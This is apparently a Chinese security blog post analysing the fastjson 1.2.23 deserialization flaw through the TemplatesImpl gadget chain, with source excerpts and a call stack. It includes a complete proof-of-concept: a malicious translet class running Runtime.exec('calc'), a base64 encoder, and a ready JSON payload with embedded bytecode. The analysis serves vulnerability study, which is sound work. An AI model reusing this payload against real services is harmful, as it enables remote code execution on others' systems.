概述 影响版本 测试代码 1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.23</version > </dependency > </dependencies >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Payload extends AbstractTranslet { public Payload () throws IOException { Runtime.getRuntime().exec("calc" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { Payload p = new Payload (); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class Encoder { public static void main (String[] args) { try { String classFilePath = "path/to/Payload.class" ; byte [] classBytes = Files.readAllBytes(Paths.get(classFilePath)); String encodedClass = Base64.getEncoder().encodeToString(classBytes); System.out.println(encodedClass); } catch (Exception e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Test { public static void main (String[] args) { ParserConfig config = new ParserConfig (); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcAcALgEAClNvdXJjZUZpbGUBAAhQT0MuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAANQT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAYAAgAGQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}" ; JSON.parseObject(text,Object.class,config, Feature.SupportNonPublicField); } }
运行截图
代码分析 在分析fastjson
之前还需要了解一条利用链:
1 2 TemplatesImpl# newTransformer () -> TemplatesImpl# getTransletInstance () -> TemplatesImpl# defineTransletClasses () -> TransletClassLoader# defineClass ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void defineTransletClasses () throws TransformerConfigurationException {... for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } ...
1 2 3 4 5 6 static final class TransletClassLoader extends ClassLoader { ... Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
defineClass
方法可以将字节数组转换成Java
类的实例。为了想要直接执行我们提供的 Java 代码,我们往往都会利用defineClass
来实现。但在defineClass
是Protected
修饰的,外界(指处理我们输入的代码上下文)无法访问。
在TemplateImpl
利用链中,攻击者可以构造一个特制的JSON
字符串,其中包含了TemplatesImpl
的序列化信息,且指定了_bytecodes
字段。这个字段在TemplatesImpl
类中用来存储编译后的模板类(translet
)的字节码数组。由于TemplatesImpl
类继承自AbstractTranslet
,攻击者可以提供一个继承自AbstractTranslet
的恶意类的字节码,如Payload
类。
在fastjson
处理这个特制的JSON
字符串的过程中,会尝试调用TemplatesImpl
对象的getOutputProperties()
方法,这是一个JavaBeans
规范的getter
方法。这个方法通常用来获取转换的输出属性,但在TemplatesImpl
类中,它被设计为在调用newTransformer()
方法前被调用,作为模板转换过程的一部分。
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
由于在TemplatesImpl
类的实例中_bytecodes
字段已经被注入了恶意的字节码,当getOutputProperties()
方法间接调用newTransformer()
时,会触发getTransletInstance()
方法,然后调用defineTransletClasses()
方法。这个方法会使用defineClass
来加载注入的恶意字节码,从而创建新的类。如果恶意类构造完成,它会被实例化newInstance()
,而恶意类的构造函数或初始化块中的代码将被执行,实现了代码执行的目的。
调用堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 getTransletInstance:456 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:498 , Method (java.lang.reflect) setValue:80 , FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83 , DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:722 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:568 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:187 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:183 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45 , JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639 , DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339 , JSON (com.alibaba.fastjson) parseObject:302 , JSON (com.alibaba.fastjson) main:9 , Test